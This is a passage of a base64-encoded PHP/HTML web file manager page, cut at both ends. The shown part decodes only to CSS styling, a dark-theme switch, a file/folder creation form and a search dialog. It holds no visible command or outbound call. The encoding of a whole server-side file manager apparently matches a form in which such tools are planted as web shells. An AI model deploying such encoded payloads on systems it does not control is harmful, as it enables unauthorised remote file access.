jdC10YWJsZSB0aCB7IHdpZHRoOjEwMHB4O2JvcmRlcjowO3RleHQtYWxpZ246Y2VudGVyICB9DQogICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHsgYmFja2dyb3VuZC1jb2xvcjojZmZmICB9DQogICAgICAgIC5maWxlbmFtZSB7IG1heC13aWR0aDo0MjBweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpcyAgfQ0KICAgICAgICAuYnJlYWstd29yZCB7IHdvcmQtd3JhcDpicmVhay13b3JkO21hcmdpbi1sZWZ0OjMwcHggIH0NCiAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHsgY29sb3I6IzdkN2Q3ZCAgfQ0KICAgICAgICAuYnJlYWstd29yZCArIC5mbG9hdC1yaWdodCB7IHBhZGRpbmctcmlnaHQ6MzBweDtwb3NpdGlvbjpyZWxhdGl2ZSAgfQ0KICAgICAgICAuYnJlYWstd29yZCArIC5mbG9hdC1yaWdodCA+IGEgeyBjb2xvcjojN2Q3ZDdkO2ZvbnQtc2l6ZToxLjJlbTttYXJnaW4tcmlnaHQ6NHB4ICB9DQogICAgICAgICNlZGl0b3IgeyBwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDoxNXB4O3RvcDoxMDBweDtib3R0b206MTVweDtsZWZ0OjE1cHggIH0NCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6NDgxcHgpIHsNCiAgICAgICAgICAgICNlZGl0b3IgeyB0b3A6MTUwcHg7IH0NCiAgICAgICAgfQ0KICAgICAgICAjbm9ybWFsLWVkaXRvciB7IGJvcmRlci1yYWRpdXM6M3B4O2JvcmRlci13aWR0aDoycHg7cGFkZGluZzoxMHB4O291dGxpbmU6bm9uZTsgfQ0KICAgICAgICAuYnRuLTIgeyBwYWRkaW5nOjRweCAxMHB4O2ZvbnQtc2l6ZTpzbWFsbDsgfQ0KICAgICAgICBsaS5maWxlOmJlZm9yZSxsaS5mb2xkZXI6YmVmb3JlIHsgZm9udDpub3JtYWwgbm9ybWFsIG5vcm1hbCAxNHB4LzEgRm9udEF3ZXNvbWU7Y29udGVudDoiXGYwMTYiO21hcmdpbi1yaWdodDo1cHggfQ0KICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHsgY29udGVudDoiXGYxMTQiIH0NCiAgICAgICAgaS5mYS5mYS1mb2xkZXItbyB7IGNvbG9yOiMwMTU3YjMgfQ0KICAgICAgICBpLmZhLmZhLXBpY3R1cmUtbyB7IGNvbG9yOiMyNmI5OWEgfQ0KICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHsgY29sb3I6I2RhN2Q3ZCB9DQogICAgICAgIC5idG4tMiBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHsgY29sb3I6aW5oZXJpdCB9DQogICAgICAgIGkuZmEuZmEtY3NzMyB7IGNvbG9yOiNmMzZmYTAgfQ0KICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHsgY29sb3I6IzAwN2JmZiB9DQogICAgICAgIGkuZmEuZmEtY29kZSB7IGNvbG9yOiNjYzRiNGMgfQ0KICAgICAgICBpLmZhLmZhLWZpbGUtdGV4dC1vIHsgY29sb3I6IzAwOTZlNiB9DQogICAgICAgIGkuZmEuZmEtaHRtbDUgeyBjb2xvcjojZDc1ZTcyIH0NCiAgICAgICAgaS5mYS5mYS1maWxlLWV4Y2VsLW8geyBjb2xvcjojMDljNTVkIH0NCiAgICAgICAgaS5mYS5mYS1maWxlLXBvd2VycG9pbnQtbyB7IGNvbG9yOiNmNjcxMmUgfQ0KICAgICAgICBpLmdvLWJhY2sgeyBmb250LXNpemU6MS4yZW07Y29sb3I6IzAwN2JmZjsgfQ0KICAgICAgICAubWFpbi1uYXYgeyBwYWRkaW5nOjAuMnJlbSAxcmVtO2JveC1zaGFkb3c6MCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKSAgfQ0KICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIgeyBkaXNwbGF5Om5vbmU7IH0NCiAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nIHsgY3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyIHJpZ2h0O2JhY2tncm91bmQtaW1hZ2U6dXJsKCdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJNQUFBQVRDQVFBQUFEWVdmNUhBQUFBa0VsRVFWUW96N1hRTVE1QVFCQ0Y0ZFdRU0p4QzV3d2F4MUNxMWU3QkFkeEQ1U0wrVHEvUUNNMW9OaUppZHdveDAzNTVtWG5HL0RyRXRJUTZhemlvTlpReEkweWtQaFRRSXdoQ1IrQm1CWXRsSzdrTEpZd1dDY0pBOU00cWRyWnJkOHBQalpXUHRPcWRSUXkzMjBZU1YxN09hdEZDNGV1dHM2ejM5R1lNS1JQQ1RLWTlVblBRNlArR3RNUmZHdFBuQkNpcWhBZUpQbWtxQUFBQUFFbEZUa1N1UW1DQycpOyB9DQogICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19hc2MgeyBjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXIgcmlnaHQ7YmFja2dyb3VuZC1pbWFnZTp1cmwoJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzUy9nRGliVW9PMGdQZ3hFUDhINHR0QXJFeXVRWXhBUEJkcUVBeFBCSW1UWTVnakVMOURNK3dURU51UWFoQXZFTzlETXdpR2R3QXhPeW1HSlFMeFR5RCtqZ1dEeENNWlJzRW9HQVZvQUFEZWVtd3RQY1pJMndBQUFBQkpSVTVFcmtKZ2dnPT0nKTsgfQ0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmdfZGVzYyB7IGN1cnNvcjpwb2ludGVyO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciByaWdodDtiYWNrZ3JvdW5kLWltYWdlOnVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkEvQk9JdjJQQklQRkVVZ3hqQitJZFFQd2ZDOTRIeEx5a3VzNEdpRCtoR2ZRT2lCM0o4U29qRUU5RU0yd3VTSnpjc0ZNRzR0dFFneDREc1JhbGtaRU54TCtBdUpRYU1jc0d4Qk9BbUd2b3BrOEFWejFzTFpnZzBic0FBQUFBU1VWT1JLNUNZSUk9Jyk7IH0NCiAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIHRyOmZpcnN0LWNoaWxkIHRoLmN1c3RvbS1jaGVja2JveC1oZWFkZXI6Zmlyc3QtY2hpbGQgeyBiYWNrZ3JvdW5kLWltYWdlOm5vbmU7IH0NCiAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkgeyBtYXJnaW4tYm90dG9tOjEwcHg7IH0NCiAgICAgICAgLmFwcC12LXRpdGxlIHsgZm9udC1zaXplOjI0cHg7Zm9udC13ZWlnaHQ6MzAwO2xldHRlci1zcGFjaW5nOi0uNXB4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgfQ0KICAgICAgICBoci5jdXN0b20taHIgeyBib3JkZXItdG9wOjFweCBkYXNoZWQgIzhjOGI4Yjtib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2ZmZjsgfQ0KICAgICAgICAjc25hY2tiYXIgeyB2aXNpYmlsaXR5OmhpZGRlbjttaW4td2lkdGg6MjUwcHg7bWFyZ2luLWxlZnQ6LTEyNXB4O2JhY2tncm91bmQtY29sb3I6IzMzMztjb2xvcjojZmZmO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6MnB4O3BhZGRpbmc6MTZweDtwb3NpdGlvbjpmaXhlZDt6LWluZGV4OjE7bGVmdDo1MCU7Ym90dG9tOjMwcHg7Zm9udC1zaXplOjE3cHg7IH0NCiAgICAgICAgI3NuYWNrYmFyLnNob3cgeyB2aXNpYmlsaXR5OnZpc2libGU7LXdlYmtpdC1hbmltYXRpb246ZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO2FuaW1hdGlvbjpmYWRlaW4gMC41cywgZmFkZW91dCAwLjVzIDIuNXM7IH0NCiAgICAgICAgQC13ZWJraXQta2V5ZnJhbWVzIGZhZGVpbiB7IGZyb20geyBib3R0b206MDtvcGFjaXR5OjA7IH0NCiAgICAgICAgdG8geyBib3R0b206MzBweDtvcGFjaXR5OjE7IH0NCiAgICAgICAgfQ0KICAgICAgICBAa2V5ZnJhbWVzIGZhZGVpbiB7IGZyb20geyBib3R0b206MDtvcGFjaXR5OjA7IH0NCiAgICAgICAgdG8geyBib3R0b206MzBweDtvcGFjaXR5OjE7IH0NCiAgICAgICAgfQ0KICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7IGZyb20geyBib3R0b206MzBweDtvcGFjaXR5OjE7IH0NCiAgICAgICAgdG8geyBib3R0b206MDtvcGFjaXR5OjA7IH0NCiAgICAgICAgfQ0KICAgICAgICBAa2V5ZnJhbWVzIGZhZGVvdXQgeyBmcm9tIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9DQogICAgICAgIHRvIHsgYm90dG9tOjA7b3BhY2l0eTowOyB9DQogICAgICAgIH0NCiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZSB7IGJvcmRlci1ib3R0b206MnB4IHNvbGlkICNmOGY5ZmEgfQ0KICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgxKSB7IGJvcmRlci1jb2xvcjojZGY0MjI3IH0NCiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikgeyBib3JkZXItY29sb3I6I2Y4YjYwMCB9DQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDMpIHsgYm9yZGVyLWNvbG9yOiMwMGJkNjAgfQ0KICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg0KSB7IGJvcmRlci1jb2xvcjojNDU4MWZmIH0NCiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkgeyBib3JkZXItY29sb3I6I2FjNjhmYyB9DQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDYpIHsgYm9yZGVyLWNvbG9yOiM0NWMzZDIgfQ0KICAgICAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4tZGV2aWNlLXdpZHRoOjc2OHB4KSBhbmQgKG1heC1kZXZpY2Utd2lkdGg6MTAyNHB4KSBhbmQgKG9yaWVudGF0aW9uOmxhbmRzY2FwZSkgYW5kICgtd2Via2l0LW1pbi1kZXZpY2UtcGl4ZWwtcmF0aW86MikgeyAubmF2YmFyLWNvbGxhcHNlIC5jb2wteHMtNiB7IHBhZGRpbmc6MDsgfQ0KICAgICAgICB9DQogICAgICAgIC5idG4uYWN0aXZlLmZvY3VzLC5idG4uYWN0aXZlOmZvY3VzLC5idG4uZm9jdXMsLmJ0bi5mb2N1czphY3RpdmUsLmJ0bjphY3RpdmU6Zm9jdXMsLmJ0bjpmb2N1cyB7IG91dGxpbmU6MCFpbXBvcnRhbnQ7b3V0bGluZS1vZmZzZXQ6MCFpbXBvcnRhbnQ7YmFja2dyb3VuZC1pbWFnZTpub25lIWltcG9ydGFudDstd2Via2l0LWJveC1zaGFkb3c6bm9uZSFpbXBvcnRhbnQ7Ym94LXNoYWRvdzpub25lIWltcG9ydGFudCB9DQogICAgICAgIC5sZHMtZmFjZWJvb2sgeyBkaXNwbGF5Om5vbmU7cG9zaXRpb246cmVsYXRpdmU7d2lkdGg6NjRweDtoZWlnaHQ6NjRweCB9DQogICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2LC5sZHMtZmFjZWJvb2suc2hvdy1tZSB7IGRpc3BsYXk6aW5saW5lLWJsb2NrIH0NCiAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYgeyBwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjZweDt3aWR0aDoxM3B4O2JhY2tncm91bmQ6IzAwN2JmZjthbmltYXRpb246bGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsLjUsLjUsMSkgaW5maW5pdGUgfQ0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMSkgeyBsZWZ0OjZweDthbmltYXRpb24tZGVsYXk6LS4yNHMgfQ0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikgeyBsZWZ0OjI2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMTJzIH0NCiAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDMpIHsgbGVmdDo0NXB4O2FuaW1hdGlvbi1kZWxheTowcyB9DQogICAgICAgIEBrZXlmcmFtZXMgbGRzLWZhY2Vib29rIHsgMCUgeyB0b3A6NnB4O2hlaWdodDo1MXB4IH0NCiAgICAgICAgMTAwJSw1MCUgeyB0b3A6MTlweDtoZWlnaHQ6MjZweCB9DQogICAgICAgIH0NCiAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgeyBwYWRkaW5nLWxlZnQ6IDA7Ym9yZGVyOiAxcHggc29saWQgI2VjZWNlY2NjOyB9IHVsI3NlYXJjaC13cmFwcGVyIGxpIHsgbGlzdC1zdHlsZTogbm9uZTsgcGFkZGluZzogNXB4O2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZWNlY2VjY2M7IH0NCiAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgbGk6bnRoLWNoaWxkKG9kZCl7IGJhY2tncm91bmQ6ICNmOWY5ZjljYzt9DQogICAgICAgIC5jLXByZXZpZXctaW1nIHsgbWF4LXdpZHRoOiAzMDBweDsgfQ0KICAgICAgICAuYm9yZGVyLXJhZGl1cy0wIHsgYm9yZGVyLXJhZGl1czogMDsgfQ0KICAgICAgICAuZmxvYXQtcmlnaHQgeyBmbG9hdDogcmlnaHQ7IH0NCiAgICAgICAgLnRhYmxlLWhvdmVyPnRib2R5PnRyOmhvdmVyPnRkOmZpcnN0LWNoaWxkIHsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkOyB9DQogICAgICAgICNtYWluLXRhYmxlIHRyLmV2ZW4geyBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhOyB9DQogICAgICAgIC5maWxlbmFtZT5hPmkge21hcmdpbi1yaWdodDogM3B4O30NCiAgICA8L3N0eWxlPg0KICAgIDw/cGhwDQogICAgaWYgKEZNX1RIRU1FID09ICJkYXJrIik6ID8+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIDpyb290IHsNCiAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7DQogICAgICAgICAgICAgICAgLS1iZy1jb2xvcjogI2YzZGFhNjsNCiAgICAgICAgICAgICAgICAtLWJzLWRhcmstcmdiOiAyOCwgMzYsIDQxICFpbXBvcnRhbnQ7DQogICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLnRhYmxlLWRhcmsgeyAtLWJzLXRhYmxlLWJnOiAyOCwgMzYsIDQxICFpbXBvcnRhbnQ7IH0NCiAgICAgICAgICAgIC5idG4tcHJpbWFyeSB7IC0tYnMtYnRuLWJnOiAjMjY1NjZjOyAtLWJzLWJ0bi1ib3JkZXItY29sb3I6ICMyNjU2NmM7IH0NCiAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7IGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7IGNvbG9yOiAjQ0ZEOERDOyB9DQogICAgICAgICAgICAubGlzdC1ncm91cCAubGlzdC1ncm91cC1pdGVtIHsgYmFja2dyb3VuZDogIzM0M2E0MDsgfQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLm5hdmJhci1uYXYgaSwgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSwgLmJyZWFrLXdvcmQgeyBjb2xvcjogI0NGRDhEQzsgfQ0KICAgICAgICAgICAgYSwgYTpob3ZlciwgYTp2aXNpdGVkLCBhOmFjdGl2ZSwgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsIGkuZmEuZmEtZm9sZGVyLW8sIGkuZ28tYmFjayB7IGNvbG9yOiB2YXIoLS1iZy1jb2xvcik7IH0NCiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHsgYmFja2dyb3VuZDogIzIxMmEyZjsgfQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnkgeyBjb2xvcjogI2I4ZTU5YzsgYm9yZGVyLWNvbG9yOiAjYjhlNTljOyB9DQogICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeTpob3ZlciwgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHsgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTt9DQogICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4OyBjb2xvcjogI0NGRDhEQzsgfQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmRyb3B6b25lIHsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IH0NCiAgICAgICAgICAgIC50aGVtZS1kYXJrIC5pbmxpbmUtYWN0aW9ucyA+IGEgPiBpIHsgYmFja2dyb3VuZDogIzc5NzU1ZTsgfQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRleHQtd2hpdGUgeyBjb2xvcjogI0NGRDhEQyAhaW1wb3J0YW50OyB9DQogICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQsIC50YWJsZS1ib3JkZXJlZCB0aCB7IGJvcmRlci1jb2xvcjogIzM0MzQzNDsgfQ0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkIC5jdXN0b20tY29udHJvbC1pbnB1dCwgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRoIC5jdXN0b20tY29udHJvbC1pbnB1dCB7IG9wYWNpdHk6IDAuNjc4OyB9DQogICAgICAgICAgICAubWVzc2FnZSB7IGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7IH0NCiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHsgYmFja2dyb3VuZC1jb2xvcjogIzNkM2QzZDsgfQ0KICAgICAgICAgICAgI21haW4tdGFibGUgdHIuZXZlbiB7IGJhY2tncm91bmQtY29sb3I6ICMyMTI5MmY7IH0NCiAgICAgICAgICAgIGZvcm0uZHJvcHpvbmUgeyBib3JkZXItY29sb3I6ICM3OTc1NWU7IH0NCiAgICAgICAgPC9zdHlsZT4NCiAgICA8P3BocCBlbmRpZjsgPz4NCjwvaGVhZD4NCjxib2R5IGNsYXNzPSI8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PiI+DQo8ZGl2IGlkPSJ3cmFwcGVyIiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj4NCiAgICA8IS0tIE5ldyBJdGVtIGNyZWF0aW9uIC0tPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJjcmVhdGVOZXdJdGVtIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgZGF0YS1icy1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWJzLWtleWJvYXJkPSJmYWxzZSIgYXJpYS1sYWJlbGxlZGJ5PSJuZXdJdGVtTW9kYWxMYWJlbCIgYXJpYS1oaWRkZW49InRydWUiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2ciIHJvbGU9ImRvY3VtZW50Ij4NCiAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJtb2RhbC1jb250ZW50IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+IiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiIGlkPSJuZXdJdGVtTW9kYWxMYWJlbCI+PGkgY2xhc3M9ImZhIGZhLXBsdXMtc3F1YXJlIGZhLWZ3Ij48L2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjwvaDU+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9Im5ld2ZpbGUiPjw/cGhwIGVjaG8gbG5nKCdJdGVtVHlwZScpID8+IDwvbGFiZWw+PC9wPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tY2hlY2staW5saW5lIj4NCiAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9InJhZGlvIiBuYW1lPSJuZXdmaWxlIiBpZD0iY3VzdG9tUmFkaW9JbmxpbmUxIiBuYW1lPSJuZXdmaWxlIiB2YWx1ZT0iZmlsZSI+DQogICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWNoZWNrLWxhYmVsIiBmb3I9ImN1c3RvbVJhZGlvSW5saW5lMSI+PD9waHAgZWNobyBsbmcoJ0ZpbGUnKSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tY2hlY2staW5saW5lIj4NCiAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9InJhZGlvIiBuYW1lPSJuZXdmaWxlIiBpZD0iY3VzdG9tUmFkaW9JbmxpbmUyIiB2YWx1ZT0iZm9sZGVyIiBjaGVja2VkPg0KICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTIiPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXInKSA/PjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJtdC0zIj48bGFiZWwgZm9yPSJuZXdmaWxlbmFtZSI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPC9sYWJlbD48L3A+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmaWxlbmFtZSIgaWQ9Im5ld2ZpbGVuYW1lIiB2YWx1ZT0iIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PiIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1wcmltYXJ5IiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ3JlYXRlTm93JykgPz48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIEFkdmFuY2UgU2VhcmNoIE1vZGFsIC0tPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJzZWFyY2hNb2RhbCIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0ic2VhcmNoTW9kYWxMYWJlbCIgYXJpYS1oaWRkZW49InRydWUiPg0KICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIG1vZGFsLWxnIiByb2xlPSJkb2N1bWVudCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICA8aDUgY2xhc3M9Im1vZGFsLXRpdGxlIGNvbC0xMCIgaWQ9InNlYXJjaE1vZGFsTGFiZWwiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIG1iLTMiPg0KICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4gPD9waHAgZWNobyBsbmcoJ2EgZmlsZXMnKSA/PiIgYXJpYS1sYWJlbD0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IiBhcmlhLWRlc2NyaWJlZGJ5PSJzZWFyY2gtYWRkb24zIiBpZD0iYWR2YW5jZWQtc2VhcmNoIiBhdXRvZm9jdXMgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCIgaWQ9InNlYXJjaC1hZGRvbjMiPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giPjwvaT48L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2g1Pg0KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4NCiAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4NCiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imxkcy1mYWNlYm9vayI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PC9kaXY+DQogICAgICAgICAgICAgICAgPHVsIGlkPSJzZWFyY2gtd3JhcHBlciI+DQogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJtLTIiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjwvcD4NCiAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgP